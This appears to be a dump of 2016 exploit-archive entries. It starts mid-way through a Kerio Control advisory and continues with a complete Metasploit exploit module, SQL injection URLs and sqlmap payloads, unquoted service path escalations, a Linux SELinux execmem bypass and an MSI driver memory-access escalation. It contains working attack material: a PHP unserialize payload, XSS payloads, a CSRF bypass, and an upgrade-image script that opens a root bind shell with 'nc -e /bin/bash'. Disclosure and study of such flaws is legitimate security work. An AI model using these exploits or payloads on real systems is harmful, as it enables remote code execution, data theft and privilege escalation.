k_securityHash=x&target=k_sessionVariable&k_variable=lastDisplayed&k_value=a:18:{s:8:"k_dbName";s:5:"error";s:11:"k_dbSummara";s:3:"abc";s:14:"k_dbIndividual";s:3:"abc";s:16:"k_dbLastUsedType";s:3:"abc";s:10:"k_dbLayout";s:3:"abc";s:10:"k_pageType";s:3:"abc";s:13:"k_periodStart";i:123;s:11:"k_periodEnd";i:123;s:8:"k_userId";i:123;s:6:"tabBar";i:123;s:13:"k_gotoElement";i:123;s:9:"k_protoId";i:123;s:11:"k_errorType";i:123;s:16:"k_timezoneOffset";i:123;s:9:"k_groupId";i:123;s:2:"id";i:123;s:11:"k_dbSummary";C:16:"SplObjectStorage":152:{x:i:2;O:8:"stdClass":1:{i:0;a:2:{i:1;i:1;i:2;i:2;}};d:2.0851592721051977e-262;;m:a:2:{i:0;S:15:"\ff\ff\ff\ff\20\00\00\00\01\00\00\00\06\00\00";i:1;R:3;}}s:18:"k_historyTimestamp";s:3:"abc";}
The following request will call unserialize on the injected data:
GET /contentLoader.php?k_getHistoryId=1&k_securityHash=x HTTP/1.1
Host: $IP:4081
Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>;
Connection: close
In the example above only a denial of service will be conducted. However, an
attacker can change the data type to object to get full code execution on
the remote system.
SEC Consult developed a fully working exploit for this attack which spawns a
root shell. Please note that this exploit was intentionally written to just
target Kerio Control 9.1.0 Build 1087. This is because hardcoded offsets
are used which belong to the winroute binary with the SHA256 hash:
2808c35528b9a4713b91f65a881dfca03088de08b6331fdee1c698523bd757b0
This exploit will not be released for now.
A real-world-attacker can detect the remote binary version by bruteforcing
the object handler related to CVE-2014-3515.
2) PHP script allows heap spraying
The set.php script contains the following code:
$p_variable = urldecode($_POST['k_variable']);
$p_value = urldecode($_POST['k_value']);
...
$p_session->setSessionVariable($p_variable, $p_value);
POST requests with the following parameters can therefore be used to allocate
space on the remote system:
k_securityHash=x&target=k_sessionVariable&k_variable=<random_name>
&k_value=<payload_to_allocate>
During tests it was possible to spray approximately 400 MB data in 30 seconds
which is enough to control two predictable addresses on the heap.
3) CSRF Protection Bypass
Two scripts are required for the remote code execution exploit:
-) set.php
-) ContentLoader.php
Both scripts contain different very interesting CSRF check bypasses.
The following code can be found in set.php:
$p_session->getCsrfToken(&$p_securityHash);
$p_postedHash = $_GET['k_securityHash'] || $_POST['k_securityHash'];
if ('' == $p_postedHash || ($p_postedHash != $p_securityHash)) {
exit();
}
Since the programming language is PHP (and not JavaScript), the above code code
does not work as expected. $p_postedHash can only become 0 or 1 because || is a
logical operator. The if-condition compares the valid token with the posted one
via the != operator, however, this will not check if types are the same.
If k_securityHash is set (either via GET or POST) to any value, the above code
will compare the number 1 with a string, which will always bypass the check.
It's therefore enough to set k_securityHash to any value to bypass the CSRF
protection.
The following code can be found in contentLoader.php:
$p_session->getCsrfToken(&$p_securityHash);
$p_postedHash = $_GET['k_securityHash'];
...
if (!$p_session || ('' == $p_postedHash && $p_postedHash != $p_securityHash)) {
$p_page = new p_Page();
$p_page->p_jsCode('window.top.location = "index.php";');
$p_page->p_showPageCode();
die();
}
Now the programmers only use the GET parameter, however, they changed the
logical operator in the if condition from || to && which means that the CSRF
check will only be applied if $p_postedHash is empty. It's therefore again
enough to set k_securityHash to any value to bypass the check.
4) Webserver running with root privileges
No proof of concept necessary.
5) Reflected Cross Site Scripting (XSS)
In the following request the k_historyTimestamp parameter is prone to XSS:
https://<IP>:4081/contentLoader.php?k_dbName=x&k_securityHash=x
&k_historyTimestamp=aa%22;alert(1)%3b//
In the same request the id parameter can be used to inject JavaScript code.
Note that the attack can only be conducted against administrative users.
Users with standard privileges can only access pages with k_dbName set to one
of the following values:
-) accStats
-) prefs
-) dialup
-) error
In such a case Kerio Control adds code like the following
(in this example k_dbName=dialup):
var k_newDbName = "<kerio:text id="tabCaption_dialup"/>";
The " characters within the string are not correctly encoded.
This will lead to the termination of the JavaScript execution. Because the
injected payload is stored after this code, the attacker must bypass this
code to ensure that the payload gets executed. This is only possible if
the attacked user is an administrator because administrators can load any
dbName. By setting k_dbName to an invalid dbName (e.g. to 'x'), code like
the following will be added instead (which does not crash):
var k_newDbName = "";
Another XSS can be found at:
https://<IP>:4081/admin/internal/dologin.php?hash=%0D%0A"><script>alert(1);</script><!--
6) Missing memory corruption protections
No proof of concept necessary.
7) Information Disclosure leads to ASLR bypass
The following request returns information to the currently logged in user
(e.g. session token and username):
GET /nonauth/getLoginType.js.php HTTP/1.1
Host: $IP:4081
Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>;
Connection: close
The following is a typical response:
HTTP/1.1 200 OK
Connection: Close
Content-type: text/html
Date: Tue, 24 Aug 2016 11:47:34 GMT
Server: Kerio Control Embedded Web Server
X-UA-Compatible: IE=edge
k_loginParams.k_loginType = "loginUnlock";k_loginParams.k_nonauthToken =
"0xb59066a8";k_loginParams.k_sessionToken =
"bc7c9ae78f01e498b7c935b4ad521b664d4e2c5574bde30cdf57851a58763660";k_loginParams.k_loggedUser
= {k_asocName: "user", k_fullName: "user"};
The above response contains a valid pointer (0xb59066a8). In most cases this
pointer will point to the heap. However, sometimes this pointer will point
into a readable and writeable region behind a stack-region.
The target location always stores the same data. During the analysis no
further effort was spent on analysing this behaviour.
The pointer will also be disclosed if the user is already logged out.
In such a case the response looks like:
HTTP/1.1 200 OK
Connection: Close
Content-type: text/html
Date: Tue, 24 Aug 2016 12:04:44 GMT
Server: Kerio Control Embedded Web Server
X-UA-Compatible: IE=edge
k_loginParams.k_loginType = "loginCommon";k_loginParams.k_nonauthToken =
"0xb2ee208";
An attack scenario can be:
-) The attacker tricks a victim to visit the attacker's malicious website
-) The attacker's website uses the CSRF bypass and the identified XSS
vulnerability to embed a malicious script inside the Kerio Control website
-) The attacker's website iframes the Kerio Control website to trigger the
execution of the XSS payload
-) The XSS payload runs on the same domain and can therefore send requests
and read responses. This means the attacker can send requests to
getLoginType.js.php to obtain a memory pointer.
-) If the memory pointer is within a specific range (e.g. the highest nibble
is zero), it's a pointer to the heap. In such a case the RCE vulnerability
can be used to crash and restart the server. After that the same check can
be done again.
-) If the memory pointer points near a stack (highest nibble is 0xb), the
pointer can be used to calculate the base address of a stack.
-) Now the attacker knows the location of a stack (all stacks are marked as
readable, writeable and executable). He can now easily bypass ASLR and DEP.
8) Remote Code Execution as administrator
An attacker can create a malicious upgrade image with the following
commands:
cat upgrade.sh
#!/bin/bash
nc -lp 9999 -e /bin/bash &
tar czf upgrade.tar.gz *
mv upgrade.tar.gz upgrade.img
The image can be uploaded in the administrative web interface.
This will bind a root shell on port 9999. The complete attack can also be
conducted via the cross site scripting vulnerability described in this
advisory (XSS in contentLoader.php). This enables an attacker to conduct
the attack from the Internet to obtain a reverse shell on Kerio Control.
9) Login not protected against brute-force attacks
Valid credentials can be obtained via a brute-force attack.
It's enough to send a POST request to /internal/dologin.php with the
parameters kerio_username and kerio_password set. A remote attacker
can detect if the credentials are correct without reading the
response (SOP would not allow to read the response). This is possible
because /internal/photo will only return a valid image if the user is
currently logged in. The attacker can load an image from this URL and
check if loading was successful to leak the information if the
credentials are valid or not.
The following code demonstrates this:
<img src="https://<Kerio-IP>/internal/photo" onerror=not_logged_in();
onload=logged_in();></img>
Vulnerable / tested versions:
-----------------------------
The following product versions were found to be vulnerable which were the
latest versions available at the time of the discovery:
v9.1.0 (Build 1087)
v9.1.1 (Build 1324)
Vendor contact timeline:
------------------------
2016-08-29: Contacting vendor through website
(bug report: bugreports@support.kerio.com) Ticket-ID: MYW-768664
2016-08-31: No answer, contacting CTO of Kerio via email
2016-09-01: Received security contact with PGP & S/MIME certificate
2016-09-01: Transmission of PGP encrypted advisory to Kerio
2016-09-09: Received answer, Kerio confirms vulnerabilities 1,2,3,5,6,7
Statement to vulnerability 9:
"the feature already is in the product."
Statement to vulnerabilities 4 (Webserver running with root
privileges) and 8 (Remote Code Execution as administrator):
"I do not consider this a vulnerability"
Update including a fix will be available on 2016-09-20
2016-09-09: SEC Consult informed Kerio to re-think the decision
not fixing the vulnerabilities 4, 8 and 9
SEC Consult highly recommends to fix all reported issues
2016-09-13: SEC Consult informed Kerio that the advisory will be
released on 2016-09-22
2016-09-20: Kerio releases patch for Kerio Control
2016-09-22: Coordianted release of security advisory
Solution:
---------
The vendor has released version 9.1.3 on 20th September which, according
to the vendor, fixes the vulnerabilities 1,2,3,5,6,7.
The vendor told us the following regarding vulnerability 9:
"the feature already is in the product"
Vulnerability 4 and 8 are not considered a vulnerability by the vendor
and will not be fixed.
SEC Consult strongly recommended fixing issue 4 and 8 as well.
The latest version can be downloaded from here:
http://www.kerio.com/support/kerio-control
http://www.kerio.com/support/kerio-control/release-history
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF R. Freingruber / @2016
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Metasploit Web UI Diagnostic Console Command Execution',
'Description' => %q{
This module exploits the "diagnostic console" feature in the Metasploit
Web UI to obtain a reverse shell.
The diagnostic console is able to be enabled or disabled by an
administrator on Metasploit Pro and by an authenticated user on
Metasploit Express and Metasploit Community. When enabled, the
diagnostic console provides access to msfconsole via the web interface.
An authenticated user can then use the console to execute shell
commands.
NOTE: Valid credentials are required for this module.
Tested against:
Metasploit Community 4.1.0,
Metasploit Community 4.8.2,
Metasploit Community 4.12.0
},
'Author' => [ 'Justin Steven' ], # @justinsteven
'License' => MSF_LICENSE,
'Privileged' => true,
'Arch' => ARCH_CMD,
'Payload' => { 'PayloadType' => 'cmd' },
'Targets' =>
[
[ 'Unix',
{
'Platform' => [ 'unix' ]
}
],
[ 'Windows',
{
'Platform' => [ 'windows' ]
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 23 2016'
))
register_options(
[
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptPort.new('RPORT', [ true, '', 3790 ]),
OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]),
OptString.new('USERNAME', [ true, 'The user to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
], self.class)
end
def do_login()
print_status('Obtaining cookies and authenticity_token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
})
unless res
fail_with(Failure::NotFound, 'Failed to retrieve login page')
end
unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
end
authenticity_token = $1
session = res.get_cookies
print_status('Logging in')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'user_sessions'),
'cookie' => session,
'vars_post' =>
{
'utf8' => '\xE2\x9C\x93',
'authenticity_token' => authenticity_token,
'user_session[username]' => datastore['USERNAME'],
'user_session[password]' => datastore['PASSWORD'],
'commit' => 'Sign in'
}
})
unless res
fail_with(Failure::NotFound, 'Failed to log in')
end
return res.get_cookies, authenticity_token
end
def get_console_status(session)
print_status('Getting diagnostic console status and profile_id')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'settings'),
'cookie' => session,
})
unless res
fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
end
unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
end
profile_id = $1
if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/
console_status = true
elsif res.body =~ /<input\W+.*\bid="allow_console_access"/
console_status = false
else
fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')
end
print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}")
return console_status, profile_id
end
def set_console_status(session, authenticity_token, profile_id, new_console_status)
print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
'cookie' => session,
'vars_post' =>
{
'utf8' => '\xE2\x9C\x93',
'_method' => 'patch',
'authenticity_token' => authenticity_token,
'profile_id' => profile_id,
'allow_console_access' => new_console_status,
'commit' => 'Update Settings'
}
})
unless res
fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
end
end
def get_container_id(session, container_label)
container_label_singular = container_label.gsub(/s$/, "")
print_status("Getting ID of a valid #{container_label_singular}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label),
'cookie' => session,
})
unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
print_warning("Failed to get a valid #{container_label_singular} ID")
return
end
container_id = $1
vprint_good("Got: #{container_id}")
container_id
end
def get_console(session, container_label, container_id)
print_status('Creating a console, getting its ID and authenticity_token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
'cookie' => session,
})
unless res && res.headers['location']
fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
end
console_id = res.headers['location'].split('/')[-1]
vprint_good("Got console ID: #{console_id}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
'cookie' => session,
})
unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
end
console_authenticity_token = $1
return console_id, console_authenticity_token
end
def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
print_status('Running payload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
'cookie' => session,
'vars_post' =>
{
'read' => 'yes',
'cmd' => command,
'authenticity_token' => console_authenticity_token,
'last_event' => '0',
'_' => ''
}
})
unless res
fail_with(Failure::NotFound, 'Failed to run command')
end
end
def exploit
session, authenticity_token = do_login()
original_console_status, profile_id = get_console_status(session)
unless original_console_status
set_console_status(session, authenticity_token, profile_id, true)
end
if container_id = get_container_id(session, "workspaces")
# target calls them "workspaces"
container_label = "workspaces"
elsif container_id = get_container_id(session, "projects")
# target calls them "projects"
container_label = "projects"
else
fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
end
console_id, console_authenticity_token = get_console(session, container_label,container_id)
run_command(session, container_label, console_authenticity_token,
container_id, console_id, payload.encoded)
unless original_console_status
set_console_status(session, authenticity_token, profile_id, false)
end
handler
end
end
# Exploit Title: Wisecleaner Software Multiple Unquoted Service Path Elevation of Privilege
# Date: 23/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.wisecleaner.com
# Software Link: http://www.wisecleaner.com/wise-disk-cleaner.html, http://www.wisecleaner.com/wise-care-365.html
# Version: Wise Care 365 4.27, Wise Disk Cleaner 9.29
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec
1. Description:
Two seperate instances of unquoted service path privilege escalation has been discovered. The first instance is within Wise Care 365 4.27 which installs a vulnerable service entitled WiseBootAssistant. The second vulnerability exists when Wise Disk Cleaner 9.29 installs SpyHunter 4. Both of these services run with SYSTEM privileges. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
2. Proof
Wise Disk Cleaner 9.29
C:\>sc qc WiseBootAssistant
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WiseBootAssistant
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Wise\Wise Care 365\BootTime.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wise Boot Assistant
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
SpyHunter 4
C:\>sc qc "SpyHunter 4 Service"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SpyHunter 4 Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe
LOAD_ORDER_GROUP : Base
TAG : 0
DISPLAY_NAME : SpyHunter 4 Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
######################
# Application Name : Matrimonial Website Script v1.0.2
# Google Dork : inurl:viewfullprofile1.php?id=
# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL
# Author Contact : https://twitter.com/byn4tural
# Vendor Homepage : http://www.i-netsolution.com/
# Vulnerable Type : SQL Injection
# Date : 2016-09-22
# Tested on : Windows 10 / Mozilla Firefox
# Linux / Mozilla Firefox
# Linux / sqlmap 1.0.6.28#dev
###################### SQL Injection Vulnerability ######################
# Location :
http://localhost/[path]/viewfullprofile1.php
######################
# PoC Exploit:
http://localhost/[path]/viewfullprofile1.php?id=MM57711%20and%20%2F*%2130000if%28exists%28select%20concat%280x7233646D3076335F73716C5F696E6A656374696F6E%2Ccount%28*%29%29%20from%20%3F%3F%3F.%E7%AE%A1%E7%90%86%E5%91%98%29%2CBENCHMARK%281161102%2C8%2CMD5%280x41%29%29%2C0%29*%2F
http://localhost/[path]/viewfullprofile1.php?id=MM57711%27%20AND%205860%3DIF%28%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C1%29%29%3E1%29%2CSLEEP%285%29%2C5860%29%20AND%20%27wvYf%27%3D%27wvYf
# Exploit Code via sqlmap:
sqlmap -u http://localhost/[path]/viewfullprofile1.php?id=MM57711 --dbs
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=MM57711' AND 2424=2424 AND 'PgBT'='PgBT
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=MM57711' AND SLEEP(5) AND 'AgXd'='AgXd
---
######################
# Exploit Title: Zortam Mp3 Media Studio 21.15 Insecure File Permissions Privilege Escalation
# Date: 23/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.zortam.com/
# Software Link: http://www.zortam.com/download.html
# Version: Software Version 21.15
# Tested on: Windows 10 Professional x64, Windows XP SP3 x86, Windows Server 2008 R2 x64
# Shout-out to carbonated and ozzie_offsec
1. Description:
Zortam Mp3 Media Studio installs by default to "C:\Program Files (x86)\Zortam Mp3 Media Studio\zmmspro.exe" with very weak file permissions granting any user full permission to the exe. This allows opportunity for code execution against any other user running the application.
2. Proof
C:\Program Files\Zortam Mp3 Media Studio>cacls zmmspro.exe
C:\Program Files\Zortam Mp3 Media Studio\zmmspro.exe BUILTIN\Users:F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
3. Exploit:
Simply replace zmmspro.exe and wait for execution.
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=854
SELinux has a set of permissions that can be used to prevent processes from creating executable
memory mappings that contain data controlled by the process (PROCESS__EXECMEM, PROCESS__EXECHEAP, ...).
These permissions, when applied correctly, make exploitation of memory corruption issues somewhat more
difficult and much more annoying.
When a process tries to map memory using sys_mmap_pgoff(), vm_mmap_pgoff() is called, which first
performs the LSM security check by calling security_mmap_file() and then calls do_mmap_pgoff(), which
takes care of the rest and does not rerun the same security check.
The syscall handler for io_setup() calls ioctx_alloc(), which calls aio_setup_ring(), which allocates
memory via do_mmap_pgoff() - the method that doesn't contain the security check.
aio_setup_ring() only requests that the memory is mapped as PROT_READ | PROT_WRITE; however, if the
process has called personality(READ_IMPLIES_EXEC) before, this will actually result in the creation
of a memory mapping that is both writable and executable, bypassing the SELinux restriction.
To verify: (note: I actually tested this without SELinux since the code looks pretty straightforward
and I don't want to figure out how to set up SELinux rules)
$ cat > iosetup.c
*/
#define _GNU_SOURCE
#include <linux/aio_abi.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <err.h>
#include <sys/personality.h>
int main(void) {
aio_context_t ctx;
personality(READ_IMPLIES_EXEC);
if (syscall(__NR_io_setup, 1, &ctx))
err(1, "io_setup");
while (1) pause();
}
/*
$ gcc -o iosetup iosetup.c
$ ./iosetup &
[1] 4949
$ cat /proc/4949/maps | grep aio
7fa0b59c6000-7fa0b59c7000 rwxs 00000000 00:0b 36093330 /[aio] (deleted)
*/
######################
# Exploit Title : Joomla Event Booking Component - SQL Injection
# Exploit Author : Persian Hack Team
# Homepage : http://persian-team.ir
# Vendor Homepage : http://extensions.joomla.org/extension/event-booking
# Category [ Webapps ]
# Tested on [ Win ]
# Version : 2.10.1
# Date 2016/09/25
######################
#
# PoC
# => Sql Injection :
# Date Parameter Vulnerable To SQL
# Demo :
# http://server/index.php?option=com_eventbooking&view=calendar&layout=weekly&date={SQL}&Itemid=354
#
# Video : http://persian-team.ir/showthread.php?tid=160&pid=291
######################
# Discovered by : Mojtaba MobhaM
# B3li3v3 M3 I will n3v3r St0p
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi & Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
######################
# Exploit Title: NetDrive 2.6.12 Unquoted Service Path Elevation of Privilege
# Date: 24/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.netdrive.net/
# Software Link: http://www.netdrive.net/download
# Version: 2.6.12
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec
1. Description:
NetDrive installs a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.
2. Proof
C:\>sc qc Netdrive2_Service_Netdrive2
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Netdrive2_Service_Netdrive2
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\NetDrive2\nd2svc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NetDrive2_Service_NetDrive2
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=857
The attached fuzz file causes memory corruption when decompressing embedded video content.
Fixed in the September update
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40420.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=859
There is a crash when the AVC decoder attempts to free memory, likely indicating memory corruption.
Fixed in the September update
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40421.zip
# Exploit Title: Elantech Smart-Pad Unquoted Service Path Privilege Escalation
# Date: 24/09/2016
# Exploit Author: zaeek@protonmail.com
# Vendor Homepage: http://www.emc.com.tw/eng/
# Version: 11.9.0.0
# Tested on: Windows 7 64bit
====Description====
Elantech Smart-Pad Service lacks of quotes in the filepath, causing it to be a potential vector of privilege escalation attack.
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.
====Proof-of-Concept====
C:\>sc qc ETDService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ETDService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Elantech\ETDService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Elan Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit Title: MSI NTIOLib.sys, WinIO.sys local privilege escalation
#Date: 2016-09-26
#Exploit Author: ReWolf
#Vendor Homepage: http://www.msi.com
#Version: too many
#Tested on: Windows 10 x64 (TH2, RS1)
Full description: http://blog.rewolf.pl/blog/?p=1630
Exploit github repo: https://github.com/rwfpl/rewolf-msi-exploit
EDB PoC Mirror:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40426.zip
NTIOLib.sys is installed with a few different MSI utilities that are part of the software package for MSI motherboards and graphic cards. WinIO.sys is completely different driver and is installed with Dragon Gaming Center application, which is part of the software package for MSI notebooks. Since both drivers expose physical memory access to the unprivileged users, I decided to put it into one report (I’ll describe the technical differences later). Actually when I was verifying list of affected software, I’ve found third driver that is doing exactly the same thing, just have a bit different interface and name (RTCore32.sys / RTCore64.sys).
Affected software:
NTIOLib.sys / NTIOLib_X64.sys
MSI FastBoot
MSI Command Center
MSI Live Update
MSI Gaming APP
MSI Super Charger
MSI Dragon Center
WinIO.sys / WinIO64.sys
MSI Dragon Gaming Center
MSI Dragon Center
RTCore32.sys / RTCore64.sys
MSI Afterburner
NTIOLib functionality exposed through IOCTLs:
read/write physical memory (using MmMapIoSpace)
read write MSR registers (using rdmsr/wrmsr opcodes)
read PMC register (using rdpmc opcode)
in/out port operations
HalGetBusDataByOffset / HalSetBusDataByOffset
WinIO functionality exposed through IOCTLs:
read/write physical memory (ZwMapViewOfSection of “\\Device\\PhysicalMemory”)
in/out port operations
RTCore functionality exposed through IOCTLs:
read/write physical memory (ZwMapViewOfSection of “\\Device\\PhysicalMemory”)
read write MSR registers (using rdmsr/wrmsr opcodes)
in/out port operations
HalGetBusDataByOffset / HalSetBusDataByOffset
It appears that RTCore driver is kind of hybrid between NTIOLib and WinIO. It’s also worth noting that WinIO driver is just compiled (and signed by MSI) version of the code that can be found here: http://www.internals.com/utilities_main.htm.
UPDATE: RTCore driver is part of RivaTuner software, so all OEM branded RivaTuner clones are vulnerable (https://twitter.com/equilibriumuk/status/780367990160326656).
Some of the mentioned applications load vulnerable driver on demand, but some of them loads the driver with service startup and keeps it loaded for the whole time, thus exploitation is rather trivial. I haven’t thoroughly inspected all MSI applications, since it’s not really possible (different version of the software for different hardware, multiple installers etc), so it’s very probable that my list doesn’t cover all cases. Generally if someone owns any MSI hardware, it’s good to check if any of above drivers (or with similar name) is loaded, and if yes, just remove the application that installed it.
Disclosure timeline:
30.05.2016 sent e-mail notification to the addresses: security@msi.com, secure@msi.com, bugs@msi.com (none of those is valid, but it was worth trying)
31.05.2016 – 03.06.2016 tried reporting through official support channel, without any luck, final reply:
Please don’t worry about it and the software files are secure.Anyway,we will send the information to relative department.Thanks!
03.06.2016 tried contact through a friend from security team of some super-secret big corporation – also without luck
26.09.2016 full disclosure
Technical details & PoC
After ASMMAP disclosure, I’ve read that the exploitation of this kind of vulnerability is rather easy:
This can be done by scanning for EPROCESS structures within memory and identifying one, then jumping through the linked list to find your target process and a known SYSTEM process (e.g. lsass), then duplicating the Token field across to elevate your process. This part isn’t really that novel or interesting, so I won’t go into it here.
Since I don’t have much experience in this area, I decided to try above method and see if the exploitation is really straightforward. I’ve started randomly poking with physical pages, just to see how it behaves. My first observation was, that the WinIO driver is a lot more stable than NTIOLib, it probably stems from the method that is used to expose physical memory to the user application (MmMapIoSpace vs ZwMapViewOfSection). NTIOLib tends to BSODs sometimes, especially if the accessed addresses are random (aligned to the 0x1000). My second observation was, that NTIOLib becomes quite stable if the memory is accessed sequentially (page by page). This is actually good, because EPROCESS search is sequential activity.
